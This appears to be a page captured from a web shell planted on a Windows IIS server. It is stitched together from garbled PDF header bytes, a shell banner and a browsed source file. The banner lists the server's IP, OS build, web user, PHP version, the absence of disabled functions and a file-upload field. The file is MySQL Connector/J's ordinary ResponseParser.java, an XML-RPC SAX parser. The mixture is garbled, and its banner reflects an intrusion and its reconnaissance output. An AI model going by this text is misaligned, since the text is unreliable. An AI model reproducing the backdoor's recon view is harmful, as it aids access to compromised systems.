%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.154.253.140 / Your IP : 216.73.216.49 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files (x86)/MySQL/Connector.J 5.1/src/com/mysql/fabric/xmlrpc/base/ |
Upload File : |
/*
Copyright (c) 2013, 2014, Oracle and/or its affiliates. All rights reserved.
The MySQL Connector/J is licensed under the terms of the GPLv2
<http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>, like most MySQL Connectors.
There are special exceptions to the terms and conditions of the GPLv2 as it is applied to
this software, see the FOSS License Exception
<http://www.mysql.com/about/legal/licensing/foss-exception.html>.
This program is free software; you can redistribute it and/or modify it under the terms
of the GNU General Public License as published by the Free Software Foundation; version 2
of the License.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with this
program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth
Floor, Boston, MA 02110-1301 USA
*/
package com.mysql.fabric.xmlrpc.base;
import java.util.Stack;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
import org.xml.sax.helpers.DefaultHandler;
public class ResponseParser extends DefaultHandler {
private MethodResponse resp = null;
public MethodResponse getMethodResponse() {
return this.resp;
}
Stack<Object> elNames = new Stack<Object>();
Stack<Object> objects = new Stack<Object>();
@Override
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
String thisElement = qName;
if (thisElement != null) {
this.elNames.push(thisElement);
if (thisElement.equals("methodResponse")) {
this.objects.push(new MethodResponse());
} else if (thisElement.equals("params")) {
this.objects.push(new Params());
} else if (thisElement.equals("param")) {
this.objects.push(new Param());
} else if (thisElement.equals("value")) {
this.objects.push(new Value());
} else if (thisElement.equals("array")) {
this.objects.push(new Array());
} else if (thisElement.equals("data")) {
this.objects.push(new Data());
} else if (thisElement.equals("struct")) {
this.objects.push(new Struct());
} else if (thisElement.equals("member")) {
this.objects.push(new Member());
} else if (thisElement.equals("fault")) {
this.objects.push(new Fault());
}
}
}
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
String thisElement = (String) this.elNames.pop();
if (thisElement != null) {
if (thisElement.equals("methodResponse")) {
this.resp = (MethodResponse) this.objects.pop();
} else if (thisElement.equals("params")) {
Params pms = (Params) this.objects.pop();
MethodResponse parent = (MethodResponse) this.objects.peek();
parent.setParams(pms);
} else if (thisElement.equals("param")) {
Param p = (Param) this.objects.pop();
Params parent = (Params) this.objects.peek();
parent.addParam(p);
} else if (thisElement.equals("value")) {
Value v = (Value) this.objects.pop();
Object parent = this.objects.peek();
if (parent instanceof Data) {
((Data) parent).addValue(v);
} else if (parent instanceof Param) {
((Param) parent).setValue(v);
} else if (parent instanceof Member) {
((Member) parent).setValue(v);
} else if (parent instanceof Fault) {
((Fault) parent).setValue(v);
}
} else if (thisElement.equals("array")) {
Array a = (Array) this.objects.pop();
Value parent = (Value) this.objects.peek();
parent.setArray(a);
} else if (thisElement.equals("data")) {
Data d = (Data) this.objects.pop();
Array parent = (Array) this.objects.peek();
parent.setData(d);
} else if (thisElement.equals("struct")) {
Struct s = (Struct) this.objects.pop();
Value parent = (Value) this.objects.peek();
parent.setStruct(s);
} else if (thisElement.equals("member")) {
Member m = (Member) this.objects.pop();
Struct parent = (Struct) this.objects.peek();
parent.addMember(m);
} else if (thisElement.equals("fault")) {
Fault f = (Fault) this.objects.pop();
MethodResponse parent = (MethodResponse) this.objects.peek();
parent.setFault(f);
}
}
}
@Override
public void characters(char[] ch, int start, int length) throws SAXException {
try {
String thisElement = (String) this.elNames.peek();
if (thisElement != null) {
if (thisElement.equals("name")) {
((Member) this.objects.peek()).setName(new String(ch, start, length));
} else if (thisElement.equals("value")) {
((Value) this.objects.peek()).appendString(new String(ch, start, length));
} else if (thisElement.equals("i4") || thisElement.equals("int")) {
((Value) this.objects.peek()).setInt(new String(ch, start, length));
} else if (thisElement.equals("boolean")) {
((Value) this.objects.peek()).setBoolean(new String(ch, start, length));
} else if (thisElement.equals("string")) {
((Value) this.objects.peek()).appendString(new String(ch, start, length));
} else if (thisElement.equals("double")) {
((Value) this.objects.peek()).setDouble(new String(ch, start, length));
} else if (thisElement.equals("dateTime.iso8601")) {
((Value) this.objects.peek()).setDateTime(new String(ch, start, length));
} else if (thisElement.equals("base64")) {
((Value) this.objects.peek()).setBase64(new String(ch, start, length).getBytes());
}
}
} catch (Exception e) {
throw new SAXParseException(e.getMessage(), null, e);
}
}
}